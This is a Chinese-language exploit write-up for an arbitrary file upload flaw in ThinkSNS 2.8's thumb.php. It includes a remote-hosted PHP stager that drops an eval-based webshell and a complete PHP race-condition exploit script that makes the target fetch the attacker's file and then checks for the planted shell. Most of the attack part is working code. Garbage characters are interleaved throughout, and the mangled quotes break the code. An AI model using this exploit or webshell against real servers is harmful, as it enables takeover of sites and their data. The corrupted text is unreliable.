漏洞版本
9 s2 e/ t" ^3 ^存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
+ o/ U* I0 Y" ^4 e3 J漏洞文件 @% _: `6 \2 P2 B) n j H
存在漏洞的文件为:thumb.php
- j) E+ m; z b9 z+ ~7 M作者:韦鲲鹏
% p+ A/ X! R7 H) l* y1、 准备如下PHP文件并上传到服务器(自己的)。
+ n6 M% q Y5 p4 ]文件内容如下:: _- c! a# q7 C# t: X
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
+ E t3 K, C) ~" v2、 计算出临时的文件名:" Y: o# \' c. v
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 C3 _7 l9 |% p3 ~# K9 l
) t/ _/ n1 [- u) K2 ^6 H9 P3、 上传临时文件。$ \+ e9 X4 i! M
4、 访问临时文件。+ }! I% I( {' ~' K& F
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
# P0 i# f, `4 Y3 q2 l* p" BExploit文件内容如下:(这个我就不详细解释了)0 \( `7 W: [; V; u5 f
<?php) d) N2 a7 @4 ^* h, O& `+ F
error_reporting(0);
7 B9 M P. O# G( qset_time_limit(0);
. H7 V$ }4 a* ^+ ^ini_set(“default_socket_timeout”, 5);0 X* o+ ^- b" P% l& o9 d) Q
function http_send($host, $port, $headers) {# r: A3 R1 k# }. e" U, W( G c) @
$fp = fsockopen($host, $port);# l+ [8 ^9 b7 {4 d' v% Y
if (!$fp) die(‘Connection -> fail’);7 v* f' e7 e" u1 @& d$ Y
fputs($fp, $headers);" C: h2 ?0 U; Z! y2 N
return $fp;' ~6 N- J F# Y
}2 b( [$ V9 B1 p$ I9 Y
function http_recv($fp) {3 i' L7 B* X# ]: ~8 [5 l
$ret=”";4 e& _/ S- H8 n
while (!feof($fp)); G# O. z8 O5 G% D% S
$ret.= fgets($fp, 1024);
; ~ ?0 i3 B4 o) E% s2 Cfclose($fp);: n, M, l6 L' `' k8 c' A: F
return $ret;
% D; X2 }( i7 ]3 p L: C; s}3 y: ? F B2 P7 Q. h
print “\n# ThinkSns Arbitrary File Upload #\n”;
* U$ _) O" U$ B2 t, Q) Tprint “# Discovered by 韦鲲鹏 #\n\n”;# Y! q* E. h: l" f0 J7 g9 a
if ($argc < 4) {
% j" y# U2 w# \4 @+ @9 J+ Lprint “Usage: php <host> <path> <romote_url>\n”;
E# Y" O& r h- wprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
5 K( d* B y& d& @9 U) j' F4 Ydie();9 o2 e0 G6 d& G4 d! W/ |
}
+ G l5 B" `: }/ l1 {; B6 M# o% W' a" @$host = $argv[1];+ ]" J& @! y9 w/ T! K/ b
$path = $argv[2]; v- A2 P2 H2 V/ q: c% F
$url = $argv[3];& Q. Y$ s$ M0 x e1 u: F F2 s: K
$i=0;
) ~2 h) L+ n+ R# k//上传数据包
, e& ]! l% @5 I$ S( A$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;% _$ H7 s Z' ]7 `; t* w
$headers_up .= “Host: “.$host.”\r\n”;! v+ y& { o) p% z X* k" Q5 M
$headers_up .= “Connection: close\r\n\r\n”;! E8 N$ B9 m' q
echo $headers_up;( p& {2 D" e; [% [+ c" t) n% m& m
//临时文件访问数据包 s8 \/ C$ w# X* C+ Z' e! f
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& o+ b9 ~+ Z+ p$headers .= “Host: “.$host.”\r\n”;5 R/ A8 E, u/ S: p7 O
$headers .= “Connection: close\r\n\r\n”;
2 v2 c% \" T* c2 c7 s- U1 recho $headers;5 A9 _% D/ P, a2 o4 ^
while(++$i<10) {% o0 ]6 h$ D \- D
fclose(http_send($host, 80, $headers));) G% i' C" y3 v% S
}% P6 g# e2 h5 t0 @
fclose(http_send($host, 80, $headers_up));
9 g$ t1 d- |& ~6 h' ~. B# cwhile(++$i<50) {
0 s& X7 G1 m* A8 J- m8 ] yfclose(http_send($host, 80, $headers)); z" B3 J8 t) f
}
& @: r5 T# K8 k3 t1 R4 e/ v7 v1 J$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;8 b' q( U! X/ R
$headers .= “Host: “.$host.”\r\n”;
$ r. ?8 d/ E0 h( g% E; \$headers .= “Connection: close\r\n\r\n”;
8 P2 o4 d7 p1 N0 I& J$res=http_recv(http_send($host, 80, $headers));
/ l' h0 h' T( j$ \( S& B5 uif(preg_match(‘/200 OK/’,$res)) {
; d* [" M3 r2 n+ ^print “Success!\n\n”;8 O- [. o" q0 w# |, N
} else {
( H# U5 G+ X2 j9 o+ b! e1 m0 _6 }print “Fail!\n\n”;7 M/ w6 K$ L1 S3 b# f
}
4 l4 ^, F& O2 u4 t?>' H& p. j0 Y6 X7 @9 x7 N5 ]
|